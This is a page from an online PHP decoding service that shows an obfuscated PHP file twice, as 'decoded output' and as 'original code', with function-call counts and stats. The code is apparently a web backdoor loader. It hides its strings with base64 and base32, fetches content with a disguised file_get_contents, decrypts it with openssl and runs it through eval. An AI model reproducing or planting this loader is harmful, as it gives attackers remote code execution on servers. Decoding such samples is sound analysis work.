Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php @error_reporting(0); session_start(); $govb6= base64_decode(base64_decode("TV..
Decoded Output download
<?php
@error_reporting(0);
session_start();
$govb6= base64_decode(base64_decode("TVRaaFkyRmpZekExWVdGbVlXWTI=")).chr(55);
$_SESSION['k']=$govb6;
session_write_close();
$govDr=base64_decode(base64_decode("YjJKMWFHRnZjbkJtTlhWM05EUmtkbTl4"));
$govCCIagsGzvZYh9q='openssl';
$govWcZ4Aq=gov1NNVQRHl($govDr);
$govfbtUjdEh="file_g".chr(101)."t_"."con".base64_decode("dGVudHM=");
$govnpwKfg2lq9Mc=$govfbtUjdEh($govWcZ4Aq);
if(!extension_loaded($govCCIagsGzvZYh9q))
{
$gov3="base64_"."decode";
$govnpwKfg2lq9Mc=$gov3("/*X]-DP@i*/".$govnpwKfg2lq9Mc);
for($i=0;$i<strlen($govnpwKfg2lq9Mc);$i++) {
}
}
$govnpwKfg2lq9Mc=openssl_decrypt($govnpwKfg2lq9Mc, base64_decode(base64_decode("UVVWVE1UST0=")).chr(56), $govb6);
$govxwm4OoTZhj1fIq=explode('|',$govnpwKfg2lq9Mc);
$govSE6xaDmg7pKyta=$govxwm4OoTZhj1fIq[1];
class govXL{public function __invoke($p) {eval("/*X]-DP@i*/".$p."");}}
@call_user_func(new govXL(),$govSE6xaDmg7pKyta);
function gov1NNVQRHl($gov0){
$di15 = '';
$govzrPPPchILPK = (91+13329)*intval(chr(48));
$govydveqsig2d = (6622-14360)*intval(chr(48));
for ($i = 0, $j = strlen($gov0); $i < $j; $i++){
$govzrPPPchILPK <<= 5;
if ($gov0[$i] >= 'a' && $gov0[$i] <= 'z'){
$govzrPPPchILPK += (ord($gov0[$i]) - 97);
} elseif ($gov0[$i] >= '2' && $gov0[$i] <= '7') {
$govzrPPPchILPK += (24 + $gov0[$i]);
} else {
exit(1);
}
$govydveqsig2d += 5;
while ($govydveqsig2d >= 8){
$govydveqsig2d -= 8;
$di15 .= chr($govzrPPPchILPK >> $govydveqsig2d);
$govzrPPPchILPK &= ((1 << $govydveqsig2d) - 1);}}
return $di15;}
?>
Did this file decode correctly?
Original Code
<?php
@error_reporting(0);
session_start();
$govb6= base64_decode(base64_decode("TVRaaFkyRmpZekExWVdGbVlXWTI=")).chr(55);
$_SESSION['k']=$govb6;
session_write_close();
$govDr=base64_decode(base64_decode("YjJKMWFHRnZjbkJtTlhWM05EUmtkbTl4"));
$govCCIagsGzvZYh9q='openssl';
$govWcZ4Aq=gov1NNVQRHl($govDr);
$govfbtUjdEh="file_g".chr(101)."t_"."con".base64_decode("dGVudHM=");
$govnpwKfg2lq9Mc=$govfbtUjdEh($govWcZ4Aq);
if(!extension_loaded($govCCIagsGzvZYh9q))
{
$gov3="base64_"."decode";
$govnpwKfg2lq9Mc=$gov3("/*X]-DP@i*/".$govnpwKfg2lq9Mc);
for($i=0;$i<strlen($govnpwKfg2lq9Mc);$i++) {
}
}
$govnpwKfg2lq9Mc=openssl_decrypt($govnpwKfg2lq9Mc, base64_decode(base64_decode("UVVWVE1UST0=")).chr(56), $govb6);
$govxwm4OoTZhj1fIq=explode('|',$govnpwKfg2lq9Mc);
$govSE6xaDmg7pKyta=$govxwm4OoTZhj1fIq[1];
class govXL{public function __invoke($p) {eval("/*X]-DP@i*/".$p."");}}
@call_user_func(new govXL(),$govSE6xaDmg7pKyta);
function gov1NNVQRHl($gov0){
$di15 = '';
$govzrPPPchILPK = (91+13329)*intval(chr(48));
$govydveqsig2d = (6622-14360)*intval(chr(48));
for ($i = 0, $j = strlen($gov0); $i < $j; $i++){
$govzrPPPchILPK <<= 5;
if ($gov0[$i] >= 'a' && $gov0[$i] <= 'z'){
$govzrPPPchILPK += (ord($gov0[$i]) - 97);
} elseif ($gov0[$i] >= '2' && $gov0[$i] <= '7') {
$govzrPPPchILPK += (24 + $gov0[$i]);
} else {
exit(1);
}
$govydveqsig2d += 5;
while ($govydveqsig2d >= 8){
$govydveqsig2d -= 8;
$di15 .= chr($govzrPPPchILPK >> $govydveqsig2d);
$govzrPPPchILPK &= ((1 << $govydveqsig2d) - 1);}}
return $di15;}
?>
Function Calls
chr | 1 |
base64_decode | 2 |
session_start | 1 |
error_reporting | 1 |
session_write_close | 1 |
Stats
MD5 | 1f4a42934612b9f275fd12473bd8acd6 |
Eval Count | 0 |
Decode Time | 60 ms |